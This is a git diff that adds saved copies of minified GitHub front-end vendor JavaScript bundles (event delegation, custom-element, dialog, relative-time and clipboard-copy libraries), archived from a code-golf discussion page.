p,c[e]=u,document.addEventListener(e,V,s)),u.add(n,r)}a(G,"on");function t(e,n,r){var i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},s=!!i.capture,c=s?E:k,u=c[e];!u||(u.remove(n,r),!u.size&&(delete c[e],document.removeEventListener(e,V,s)))}a(t,"off");function o(e,n,r){return e.dispatchEvent(new CustomEvent(n,{bubbles:!0,cancelable:!0,detail:r}))}a(o,"fire")},90420:(z,_,D)=>{D.d(_,{Lj:()=>T,Ih:()=>G,fA:()=>k,GO:()=>E});const p=new WeakSet;function v(t){p.add(t),t.shadowRoot&&P(t.shadowRoot),x(t),C(t.ownerDocument)}a(v,"bind");function P(t){x(t),C(t)}a(P,"bindShadow");const y=new WeakMap;function C(t=document){if(y.has(t))return y.get(t);let o=!1;const e=new MutationObserver(r=>{for(const i of r)if(i.type==="attributes"&&i.target instanceof Element)w(i.target);else if(i.type==="childList"&&i.addedNodes.length)for(const s of i.addedNodes)s instanceof Element&&x(s)});e.observe(t,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const n={get closed(){return o},unsubscribe(){o=!0,y.delete(t),e.disconnect()}};return y.set(t,n),n}a(C,"listenForBind");function x(t){for(const o of t.querySelectorAll("[data-action]"))w(o);t instanceof Element&&t.hasAttribute("data-action")&&w(t)}a(x,"bindElements");function A(t){const o=t.currentTarget;for(const e of S(o))if(t.type===e.type){const n=o.closest(e.tag);p.has(n)&&typeof n[e.method]=="function"&&n[e.method](t);const r=o.getRootNode();if(r instanceof ShadowRoot&&p.has(r.host)&&r.host.matches(e.tag)){const i=r.host;typeof i[e.method]=="function"&&i[e.method](t)}}}a(A,"handleEvent");function*S(t){for(const o of(t.getAttribute("data-action")||"").trim().split(/\s+/)){const e=o.lastIndexOf(":"),n=Math.max(0,o.lastIndexOf("#"))||o.length;yield{type:o.slice(0,e),tag:o.slice(e+1,n),method:o.slice(n+1)||"handleEvent"}}}a(S,"bindings");function w(t){for(const o of S(t))t.addEventListener(o.type,A)}a(w,"bindActions");function W(t,o){const e=t.tagName.toLowerCase();if(t.shadowRoot){for(const n of t.shadowRoot.querySelectorAll(`[data-target~="${e}.${o}"]`))if(!n.closest(e))return n}for(const n of t.querySelectorAll(`[data-target~="${e}.${o}"]`))if(n.closest(e)===t)return n}a(W,"findTarget");function M(t,o){const e=t.tagName.toLowerCase(),n=[];if(t.shadowRoot)for(const r of t.shadowRoot.querySelectorAll(`[data-targets~="${e}.${o}"]`))r.closest(e)||n.push(r);for(const r of t.querySelectorAll(`[data-targets~="${e}.${o}"]`))r.closest(e)===t&&n.push(r);return n}a(M,"findTargets");function k(t,o){return Object.defineProperty(t,o,{configurable:!0,get(){return W(this,o)}})}a(k,"target");function E(t,o){return Object.defineProperty(t,o,{configurable:!0,get(){return M(this,o)}})}a(E,"targets");function j(t){const o=t.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(o)||(window[t.name]=t,window.customElements.define(o,t))}a(j,"register");function O(t){for(const o of t.querySelectorAll("template[data-shadowroot]"))o.parentElement===t&&t.attachShadow({mode:o.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(o.content.cloneNode(!0))}a(O,"autoShadowRoot");const m=new WeakMap;function T(t,o){m.has(t)||m.set(t,[]),m.get(t).push(o)}a(T,"attr");function N(t,o){o||(o=R(Object.getPrototypeOf(t)));for(const e of o){const n=t[e],r=F(e);let i={configurable:!0,get(){return this.getAttribute(r)||""},set(s){this.setAttribute(r,s||"")}};typeof n=="number"?i={configurable:!0,get(){return Number(this.getAttribute(r)||0)},set(s){this.setAttribute(r,s)}}:typeof n=="boolean"&&(i={configurable:!0,get(){return this.hasAttribute(r)},set(s){this.toggleAttribute(r,s)}}),Object.defineProperty(t,e,i),e in t&&!t.hasAttribute(r)&&i.set.call(t,n)}}a(N,"initializeAttrs");function R(t){const o=new Set;let e=t;for(;e&&e!==HTMLElement;){const n=m.get(e)||[];for(const r of n)o.add(r);e=Object.getPrototypeOf(e)}return o}a(R,"getAttrNames");function F(t){return`data-${t.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}a(F,"attrToAttributeName");function U(t){let o=t.observedAttributes||[];Object.defineProperty(t,"observedAttributes",{configurable:!0,get(){return[...R(t.prototype)].map(F).concat(o)},set(e){o=e}})}a(U,"defineObservedAttributes");const L=new WeakSet;function $(t,o){t.toggleAttribute("data-catalyst",!0),customElements.upgrade(t),L.add(t),O(t),N(t),v(t),o&&o.call(t),t.shadowRoot&&P(t.shadowRoot)}a($,"initializeInstance");function B(t){U(t),j(t)}a(B,"initializeClass");function V(t){return L.has(t)}a(V,"initialized");function G(t){const o=t.prototype.connectedCallback;t.prototype.connectedCallback=function(){$(this,o)},B(t)}a(G,"controller")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c51-edfd57e08401.js.map \ No newline at end of file diff --git a/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js new file mode 100644 index 0000000..a46ba85 --- /dev/null +++ b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var K=Object.defineProperty;var u=(W,L)=>K(W,"name",{value:L,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","node_modules_delegated-events_dist_index_js"],{59753:(W,L,H)=>{H.d(L,{f:()=>V,on:()=>z});function g(){if(!(this instanceof g))return new g;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}u(g,"SelectorSet");var x=window.document.documentElement,F=x.matches||x.webkitMatchesSelector||x.mozMatchesSelector||x.oMatchesSelector||x.msMatchesSelector;g.prototype.matchesSelector=function(e,r){return F.call(e,r)},g.prototype.querySelectorAll=function(e,r){return r.querySelectorAll(e)},g.prototype.indexes=[];var q=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;g.prototype.indexes.push({name:"ID",selector:u(function(r){var n;if(n=r.match(q))return n[0].slice(1)},"matchIdSelector"),element:u(function(r){if(r.id)return[r.id]},"getElementId")});var P=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;g.prototype.indexes.push({name:"CLASS",selector:u(function(r){var n;if(n=r.match(P))return n[0].slice(1)},"matchClassSelector"),element:u(function(r){var n=r.className;if(n){if(typeof n=="string")return n.split(/\s/);if(typeof n=="object"&&"baseVal"in n)return n.baseVal.split(/\s/)}},"getElementClassNames")});var B=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;g.prototype.indexes.push({name:"TAG",selector:u(function(r){var n;if(n=r.match(B))return n[0].toUpperCase()},"matchTagSelector"),element:u(function(r){return[r.nodeName.toUpperCase()]},"getElementTagName")}),g.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var C;typeof window.Map=="function"?C=window.Map:C=function(){function e(){this.map={}}return u(e,"Map"),e.prototype.get=function(r){return this.map[r+" "]},e.prototype.set=function(r,n){this.map[r+" "]=n},e}();var I=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function O(e,r){e=e.slice(0).concat(e.default);var n=e.length,c,o,l,a,f=r,m,h,p=[];do if(I.exec(""),(l=I.exec(f))&&(f=l[3],l[2]||!f)){for(c=0;c3&&arguments[3]!==void 0?arguments[3]:{},o=!!c.capture,l=o?w:_,a=l[e];a||(a=new g,l[e]=a,document.addEventListener(e,k,o)),a.add(r,n)}u(z,"on");function G(e,r,n){var c=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},o=!!c.capture,l=o?w:_,a=l[e];!a||(a.remove(r,n),!a.size&&(delete l[e],document.removeEventListener(e,k,o)))}u(G,"off");function V(e,r,n){return e.dispatchEvent(new CustomEvent(r,{bubbles:!0,cancelable:!0,detail:n}))}u(V,"fire")},14840:(W,L,H)=>{H.d(L,{Z:()=>R});const g="data-close-dialog",x=`[${g}]`;function F(s){let t=Array.from(s.querySelectorAll("[autofocus]")).filter(P)[0];t||(t=s,s.setAttribute("tabindex","-1")),t.focus()}u(F,"autofocus");function q(s){const t=s.currentTarget;t instanceof Element&&(s.key==="Escape"||s.key==="Esc"?(_(t,!1),s.stopPropagation()):s.key==="Tab"&&C(s))}u(q,"keydown");function P(s){return s.tabIndex>=0&&!s.disabled&&B(s)}u(P,"focusable");function B(s){return!s.hidden&&(!s.type||s.type!=="hidden")&&(s.offsetWidth>0||s.offsetHeight>0)}u(B,"visible");function C(s){if(!(s.currentTarget instanceof Element))return;const t=s.currentTarget.querySelector("details-dialog");if(!t)return;s.preventDefault();const i=Array.from(t.querySelectorAll("*")).filter(P);if(i.length===0)return;const d=s.shiftKey?-1:1,E=t.getRootNode(),N=t.contains(E.activeElement)?E.activeElement:null;let k=d===-1?-1:0;if(N instanceof HTMLElement){const z=i.indexOf(N);z!==-1&&(k=z+d)}k<0?k=i.length-1:k=k%i.length,i[k].focus()}u(C,"restrictTabBehavior");function I(s){const t=s.querySelector("details-dialog");return t instanceof y?t.dispatchEvent(new CustomEvent("details-dialog-close",{bubbles:!0,cancelable:!0})):!0}u(I,"allowClosingDialog");function O(s){if(!(s.currentTarget instanceof Element))return;const t=s.currentTarget.closest("details");!t||!t.hasAttribute("open")||I(t)||(s.preventDefault(),s.stopPropagation())}u(O,"onSummaryClick");function M(s){const t=s.currentTarget;if(!(t instanceof Element))return;const i=t.querySelector("details-dialog");if(i instanceof y)if(t.hasAttribute("open")){const d="getRootNode"in i?i.getRootNode():document;d.activeElement instanceof HTMLElement&&b.set(i,{details:t,activeElement:d.activeElement}),F(i),t.addEventListener("keydown",q)}else{for(const E of i.querySelectorAll("form"))E.reset();const d=D(t,i);d&&d.focus(),t.removeEventListener("keydown",q)}}u(M,"toggle");function D(s,t){const i=b.get(t);return i&&i.activeElement instanceof HTMLElement?i.activeElement:s.querySelector("summary")}u(D,"findFocusElement");function _(s,t){t!==s.hasAttribute("open")&&(t?s.setAttribute("open",""):I(s)&&s.removeAttribute("open"))}u(_,"toggleDetails");function w(s){const t=s.currentTarget;if(!(t instanceof Element))return;const i=t.querySelector("details-dialog");if(!(i instanceof y))return;const d=i.querySelector("include-fragment:not([src])");if(!d)return;const E=i.src;E!==null&&(d.addEventListener("loadend",()=>{t.hasAttribute("open")&&F(i)}),d.setAttribute("src",E),T(t))}u(w,"loadIncludeFragment");function A(s,t,i){T(s),t&&s.addEventListener("toggle",w,{once:!0}),t&&i&&s.addEventListener("mouseover",w,{once:!0})}u(A,"updateIncludeFragmentEventListeners");function T(s){s.removeEventListener("toggle",w),s.removeEventListener("mouseover",w)}u(T,"removeIncludeFragmentEventListeners");const b=new WeakMap;class y extends HTMLElement{static get CLOSE_ATTR(){return g}static get CLOSE_SELECTOR(){return x}constructor(){super();b.set(this,{details:null,activeElement:null}),this.addEventListener("click",function({target:t}){if(!(t instanceof Element))return;const i=t.closest("details");i&&t.closest(x)&&_(i,!1)})}get src(){return this.getAttribute("src")}set src(t){this.setAttribute("src",t||"")}get preload(){return this.hasAttribute("preload")}set preload(t){t?this.setAttribute("preload",""):this.removeAttribute("preload")}connectedCallback(){this.setAttribute("role","dialog"),this.setAttribute("aria-modal","true");const t=b.get(this);if(!t)return;const i=this.parentElement;if(!i)return;const d=i.querySelector("summary");d&&(d.hasAttribute("role")||d.setAttribute("role","button"),d.addEventListener("click",O,{capture:!0})),i.addEventListener("toggle",M),t.details=i,A(i,this.src,this.preload)}disconnectedCallback(){const t=b.get(this);if(!t)return;const{details:i}=t;if(!i)return;i.removeEventListener("toggle",M),T(i);const d=i.querySelector("summary");d&&d.removeEventListener("click",O,{capture:!0}),t.details=null}toggle(t){const i=b.get(this);if(!i)return;const{details:d}=i;!d||_(d,t)}static get observedAttributes(){return["src","preload"]}attributeChangedCallback(){const t=b.get(this);if(!t)return;const{details:i}=t;!i||A(i,this.src,this.preload)}}u(y,"DetailsDialogElement");const R=y;window.customElements.get("details-dialog")||(window.DetailsDialogElement=y,window.customElements.define("details-dialog",y))}}]);})(); + +//# sourceMappingURL=vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-2fddb5aecbef.js.map \ No newline at end of file diff --git a/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js new file mode 100644 index 0000000..c45b168 --- /dev/null +++ b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var B=Object.defineProperty;var i=(I,_)=>B(I,"name",{value:_,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_time-elements_dist_index_js"],{90420:(I,_,L)=>{L.d(_,{Lj:()=>Y,Ih:()=>T,fA:()=>P,GO:()=>U});const F=new WeakSet;function v(e){F.add(e),e.shadowRoot&&g(e.shadowRoot),p(e),b(e.ownerDocument)}i(v,"bind");function g(e){p(e),b(e)}i(g,"bindShadow");const w=new WeakMap;function b(e=document){if(w.has(e))return w.get(e);let o=!1;const a=new MutationObserver(m=>{for(const n of m)if(n.type==="attributes"&&n.target instanceof Element)M(n.target);else if(n.type==="childList"&&n.addedNodes.length)for(const t of n.addedNodes)t instanceof Element&&p(t)});a.observe(e,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const l={get closed(){return o},unsubscribe(){o=!0,w.delete(e),a.disconnect()}};return w.set(e,l),l}i(b,"listenForBind");function p(e){for(const o of e.querySelectorAll("[data-action]"))M(o);e instanceof Element&&e.hasAttribute("data-action")&&M(e)}i(p,"bindElements");function z(e){const o=e.currentTarget;for(const a of D(o))if(e.type===a.type){const l=o.closest(a.tag);F.has(l)&&typeof l[a.method]=="function"&&l[a.method](e);const m=o.getRootNode();if(m instanceof ShadowRoot&&F.has(m.host)&&m.host.matches(a.tag)){const n=m.host;typeof n[a.method]=="function"&&n[a.method](e)}}}i(z,"handleEvent");function*D(e){for(const o of(e.getAttribute("data-action")||"").trim().split(/\s+/)){const a=o.lastIndexOf(":"),l=Math.max(0,o.lastIndexOf("#"))||o.length;yield{type:o.slice(0,a),tag:o.slice(a+1,l),method:o.slice(l+1)||"handleEvent"}}}i(D,"bindings");function M(e){for(const o of D(e))e.addEventListener(o.type,z)}i(M,"bindActions");function N(e,o){const a=e.tagName.toLowerCase();if(e.shadowRoot){for(const l of e.shadowRoot.querySelectorAll(`[data-target~="${a}.${o}"]`))if(!l.closest(a))return l}for(const l of e.querySelectorAll(`[data-target~="${a}.${o}"]`))if(l.closest(a)===e)return l}i(N,"findTarget");function q(e,o){const a=e.tagName.toLowerCase(),l=[];if(e.shadowRoot)for(const m of e.shadowRoot.querySelectorAll(`[data-targets~="${a}.${o}"]`))m.closest(a)||l.push(m);for(const m of e.querySelectorAll(`[data-targets~="${a}.${o}"]`))m.closest(a)===e&&l.push(m);return l}i(q,"findTargets");function P(e,o){return Object.defineProperty(e,o,{configurable:!0,get(){return N(this,o)}})}i(P,"target");function U(e,o){return Object.defineProperty(e,o,{configurable:!0,get(){return q(this,o)}})}i(U,"targets");function E(e){const o=e.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(o)||(window[e.name]=e,window.customElements.define(o,e))}i(E,"register");function C(e){for(const o of e.querySelectorAll("template[data-shadowroot]"))o.parentElement===e&&e.attachShadow({mode:o.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(o.content.cloneNode(!0))}i(C,"autoShadowRoot");const A=new WeakMap;function Y(e,o){A.has(e)||A.set(e,[]),A.get(e).push(o)}i(Y,"attr");function R(e,o){o||(o=S(Object.getPrototypeOf(e)));for(const a of o){const l=e[a],m=x(a);let n={configurable:!0,get(){return this.getAttribute(m)||""},set(t){this.setAttribute(m,t||"")}};typeof l=="number"?n={configurable:!0,get(){return Number(this.getAttribute(m)||0)},set(t){this.setAttribute(m,t)}}:typeof l=="boolean"&&(n={configurable:!0,get(){return this.hasAttribute(m)},set(t){this.toggleAttribute(m,t)}}),Object.defineProperty(e,a,n),a in e&&!e.hasAttribute(m)&&n.set.call(e,l)}}i(R,"initializeAttrs");function S(e){const o=new Set;let a=e;for(;a&&a!==HTMLElement;){const l=A.get(a)||[];for(const m of l)o.add(m);a=Object.getPrototypeOf(a)}return o}i(S,"getAttrNames");function x(e){return`data-${e.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}i(x,"attrToAttributeName");function H(e){let o=e.observedAttributes||[];Object.defineProperty(e,"observedAttributes",{configurable:!0,get(){return[...S(e.prototype)].map(x).concat(o)},set(a){o=a}})}i(H,"defineObservedAttributes");const y=new WeakSet;function h(e,o){e.toggleAttribute("data-catalyst",!0),customElements.upgrade(e),y.add(e),C(e),R(e),v(e),o&&o.call(e),e.shadowRoot&&g(e.shadowRoot)}i(h,"initializeInstance");function O(e){H(e),E(e)}i(O,"initializeClass");function Z(e){return y.has(e)}i(Z,"initialized");function T(e){const o=e.prototype.connectedCallback;e.prototype.connectedCallback=function(){h(this,o)},O(e)}i(T,"controller")},75329:(I,_,L)=>{L.d(_,{nJ:()=>T});const F=["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],v=["January","February","March","April","May","June","July","August","September","October","November","December"];function g(n){return`0${n}`.slice(-2)}i(g,"pad");function w(n,t){const r=n.getDay(),s=n.getDate(),c=n.getMonth(),u=n.getFullYear(),d=n.getHours(),f=n.getMinutes(),$=n.getSeconds();return t.replace(/%([%aAbBcdeHIlmMpPSwyYZz])/g,function(W){let k;switch(W[1]){case"%":return"%";case"a":return F[r].slice(0,3);case"A":return F[r];case"b":return v[c].slice(0,3);case"B":return v[c];case"c":return n.toString();case"d":return g(s);case"e":return String(s);case"H":return g(d);case"I":return g(w(n,"%l"));case"l":return String(d===0||d===12?12:(d+12)%12);case"m":return g(c+1);case"M":return g(f);case"p":return d>11?"PM":"AM";case"P":return d>11?"pm":"am";case"S":return g($);case"w":return String(r);case"y":return g(u%100);case"Y":return String(u);case"Z":return k=n.toString().match(/\((\w+)\)$/),k?k[1]:"";case"z":return k=n.toString().match(/\w([+-]\d\d\d\d) /),k?k[1]:""}return""})}i(w,"strftime");function b(n){let t;return function(){if(t)return t;if("Intl"in window)try{return t=new Intl.DateTimeFormat(void 0,n),t}catch(r){if(!(r instanceof RangeError))throw r}}}i(b,"makeFormatter");let p=null;const z=b({day:"numeric",month:"short"});function D(){if(p!==null)return p;const n=z();return n?(p=!!n.format(new Date(0)).match(/^\d/),p):!1}i(D,"isDayFirst");let M=null;const N=b({day:"numeric",month:"short",year:"numeric"});function q(){if(M!==null)return M;const n=N();return n?(M=!!n.format(new Date(0)).match(/\d,/),M):!0}i(q,"isYearSeparator");function P(n){return new Date().getUTCFullYear()===n.getUTCFullYear()}i(P,"isThisYear");function U(n,t){if("Intl"in window&&"RelativeTimeFormat"in window.Intl)try{return new Intl.RelativeTimeFormat(n,t)}catch(r){if(!(r instanceof RangeError))throw r}}i(U,"makeRelativeFormat");function E(n){const t=n.closest("[lang]");return t instanceof HTMLElement&&t.lang?t.lang:"default"}i(E,"localeFromElement");const C=new WeakMap;class A extends HTMLElement{static get observedAttributes(){return["datetime","day","format","lang","hour","minute","month","second","title","weekday","year","time-zone-name"]}connectedCallback(){const t=this.getFormattedTitle();t&&!this.hasAttribute("title")&&this.setAttribute("title",t);const r=this.getFormattedDate();r&&(this.textContent=r)}attributeChangedCallback(t,r,s){const c=this.getFormattedTitle();if(t==="datetime"){const $=Date.parse(s);isNaN($)?C.delete(this):C.set(this,new Date($))}const u=this.getFormattedTitle(),d=this.getAttribute("title");t!=="title"&&u&&(!d||d===c)&&this.setAttribute("title",u);const f=this.getFormattedDate();f&&(this.textContent=f)}get date(){return C.get(this)}getFormattedTitle(){const t=this.date;if(!t)return;const r=Y();if(r)return r.format(t);try{return t.toLocaleString()}catch(s){if(s instanceof RangeError)return t.toString();throw s}}getFormattedDate(){}}i(A,"ExtendedTimeElement");const Y=b({day:"numeric",month:"short",year:"numeric",hour:"numeric",minute:"2-digit",timeZoneName:"short"}),R=new WeakMap;class S extends A{attributeChangedCallback(t,r,s){(t==="hour"||t==="minute"||t==="second"||t==="time-zone-name")&&R.delete(this),super.attributeChangedCallback(t,r,s)}getFormattedDate(){const t=this.date;if(!t)return;const r=x(this,t)||"",s=H(this,t)||"";return`${r} ${s}`.trim()}}i(S,"LocalTimeElement");function x(n,t){const r={weekday:{short:"%a",long:"%A"},day:{numeric:"%e","2-digit":"%d"},month:{short:"%b",long:"%B"},year:{numeric:"%Y","2-digit":"%y"}};let s=D()?"weekday day month year":"weekday month day, year";for(const c in r){const u=r[c][n.getAttribute(c)||""];s=s.replace(c,u||"")}return s=s.replace(/(\s,)|(,\s$)/,""),w(t,s).replace(/\s+/," ").trim()}i(x,"formatDate");function H(n,t){const r={},s=n.getAttribute("hour");(s==="numeric"||s==="2-digit")&&(r.hour=s);const c=n.getAttribute("minute");(c==="numeric"||c==="2-digit")&&(r.minute=c);const u=n.getAttribute("second");(u==="numeric"||u==="2-digit")&&(r.second=u);const d=n.getAttribute("time-zone-name");if((d==="short"||d==="long")&&(r.timeZoneName=d),Object.keys(r).length===0)return;let f=R.get(n);f||(f=b(r),R.set(n,f));const $=f();if($)return $.format(t);{const W=r.second?"%H:%M:%S":"%H:%M";return w(t,W)}}i(H,"formatTime"),window.customElements.get("local-time")||(window.LocalTimeElement=S,window.customElements.define("local-time",S));class y{constructor(t,r){this.date=t,this.locale=r}toString(){const t=this.timeElapsed();if(t)return t;{const r=this.timeAhead();return r||`on ${this.formatDate()}`}}timeElapsed(){const t=new Date().getTime()-this.date.getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24);return t>=0&&u<30?this.timeAgoFromMs(t):null}timeAhead(){const t=this.date.getTime()-new Date().getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24);return t>=0&&u<30?this.timeUntil():null}timeAgo(){const t=new Date().getTime()-this.date.getTime();return this.timeAgoFromMs(t)}timeAgoFromMs(t){const r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return t<0?h(this.locale,0,"second"):r<10?h(this.locale,0,"second"):r<45?h(this.locale,-r,"second"):r<90?h(this.locale,-s,"minute"):s<45?h(this.locale,-s,"minute"):s<90?h(this.locale,-c,"hour"):c<24?h(this.locale,-c,"hour"):c<36?h(this.locale,-u,"day"):u<30?h(this.locale,-u,"day"):d<18?h(this.locale,-d,"month"):h(this.locale,-f,"year")}microTimeAgo(){const t=new Date().getTime()-this.date.getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return s<1?"1m":s<60?`${s}m`:c<24?`${c}h`:u<365?`${u}d`:`${f}y`}timeUntil(){const t=this.date.getTime()-new Date().getTime();return this.timeUntilFromMs(t)}timeUntilFromMs(t){const r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return d>=18?h(this.locale,f,"year"):d>=12?h(this.locale,f,"year"):u>=45?h(this.locale,d,"month"):u>=30?h(this.locale,d,"month"):c>=36?h(this.locale,u,"day"):c>=24?h(this.locale,u,"day"):s>=90?h(this.locale,c,"hour"):s>=45?h(this.locale,c,"hour"):r>=90?h(this.locale,s,"minute"):r>=45?h(this.locale,s,"minute"):r>=10?h(this.locale,r,"second"):h(this.locale,0,"second")}microTimeUntil(){const t=this.date.getTime()-new Date().getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return u>=365?`${f}y`:c>=24?`${u}d`:s>=60?`${c}h`:s>1?`${s}m`:"1m"}formatDate(){let t=D()?"%e %b":"%b %e";return P(this.date)||(t+=q()?", %Y":" %Y"),w(this.date,t)}formatTime(){const t=Z();return t?t.format(this.date):w(this.date,"%l:%M%P")}}i(y,"RelativeTime");function h(n,t,r){const s=U(n,{numeric:"auto"});return s?s.format(t,r):O(t,r)}i(h,"formatRelativeTime");function O(n,t){if(n===0)switch(t){case"year":case"quarter":case"month":case"week":return`this ${t}`;case"day":return"today";case"hour":case"minute":return`in 0 ${t}s`;case"second":return"now"}else if(n===1)switch(t){case"year":case"quarter":case"month":case"week":return`next ${t}`;case"day":return"tomorrow";case"hour":case"minute":case"second":return`in 1 ${t}`}else if(n===-1)switch(t){case"year":case"quarter":case"month":case"week":return`last ${t}`;case"day":return"yesterday";case"hour":case"minute":case"second":return`1 ${t} ago`}else if(n>1)switch(t){case"year":case"quarter":case"month":case"week":case"day":case"hour":case"minute":case"second":return`in ${n} ${t}s`}else if(n<-1)switch(t){case"year":case"quarter":case"month":case"week":case"day":case"hour":case"minute":case"second":return`${-n} ${t}s ago`}throw new RangeError(`Invalid unit argument for format() '${t}'`)}i(O,"formatEnRelativeTime");const Z=b({hour:"numeric",minute:"2-digit"});class T extends A{getFormattedDate(){const t=this.date;if(!!t)return new y(t,E(this)).toString()}connectedCallback(){e.push(this),o||(a(),o=window.setInterval(a,60*1e3)),super.connectedCallback()}disconnectedCallback(){const t=e.indexOf(this);t!==-1&&e.splice(t,1),e.length||o&&(clearInterval(o),o=null)}}i(T,"RelativeTimeElement");const e=[];let o;function a(){let n,t,r;for(t=0,r=e.length;t{var V=Object.defineProperty;var o=(U,I)=>V(U,"name",{value:I,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b","node_modules_delegated-events_dist_index_js"],{76745:(U,I,H)=>{H.d(I,{Z:()=>j});function b(c){const d=document.createElement("pre");return d.style.width="1px",d.style.height="1px",d.style.position="fixed",d.style.top="5px",d.textContent=c,d}o(b,"createNode");function E(c){if("clipboard"in navigator)return navigator.clipboard.writeText(c.textContent);const d=getSelection();if(d==null)return Promise.reject(new Error);d.removeAllRanges();const k=document.createRange();return k.selectNodeContents(c),d.addRange(k),document.execCommand("copy"),d.removeAllRanges(),Promise.resolve()}o(E,"copyNode");function _(c){if("clipboard"in navigator)return navigator.clipboard.writeText(c);const d=document.body;if(!d)return Promise.reject(new Error);const k=b(c);return d.appendChild(k),E(k),d.removeChild(k),Promise.resolve()}o(_,"copyText");function D(c){const d=c.getAttribute("for"),k=c.getAttribute("value");function L(){c.dispatchEvent(new CustomEvent("clipboard-copy",{bubbles:!0}))}if(o(L,"trigger"),k)_(k).then(L);else if(d){const C="getRootNode"in Element.prototype?c.getRootNode():c.ownerDocument;if(!(C instanceof Document||"ShadowRoot"in window&&C instanceof ShadowRoot))return;const N=C.getElementById(d);N&&q(N).then(L)}}o(D,"copy");function q(c){return c instanceof HTMLInputElement||c instanceof HTMLTextAreaElement?_(c.value):c instanceof HTMLAnchorElement&&c.hasAttribute("href")?_(c.href):E(c)}o(q,"copyTarget");function M(c){const d=c.currentTarget;d instanceof HTMLElement&&D(d)}o(M,"clicked");function A(c){if(c.key===" "||c.key==="Enter"){const d=c.currentTarget;d instanceof HTMLElement&&(c.preventDefault(),D(d))}}o(A,"keydown");function R(c){c.currentTarget.addEventListener("keydown",A)}o(R,"focused");function T(c){c.currentTarget.removeEventListener("keydown",A)}o(T,"blurred");class S extends HTMLElement{constructor(){super();this.addEventListener("click",M),this.addEventListener("focus",R),this.addEventListener("blur",T)}connectedCallback(){this.hasAttribute("tabindex")||this.setAttribute("tabindex","0"),this.hasAttribute("role")||this.setAttribute("role","button")}get value(){return this.getAttribute("value")||""}set value(d){this.setAttribute("value",d)}}o(S,"ClipboardCopyElement"),window.customElements.get("clipboard-copy")||(window.ClipboardCopyElement=S,window.customElements.define("clipboard-copy",S));const j=S},59753:(U,I,H)=>{H.d(I,{f:()=>B,on:()=>W});function b(){if(!(this instanceof b))return new b;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}o(b,"SelectorSet");var E=window.document.documentElement,_=E.matches||E.webkitMatchesSelector||E.mozMatchesSelector||E.oMatchesSelector||E.msMatchesSelector;b.prototype.matchesSelector=function(e,t){return _.call(e,t)},b.prototype.querySelectorAll=function(e,t){return t.querySelectorAll(e)},b.prototype.indexes=[];var D=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"ID",selector:o(function(t){var n;if(n=t.match(D))return n[0].slice(1)},"matchIdSelector"),element:o(function(t){if(t.id)return[t.id]},"getElementId")});var 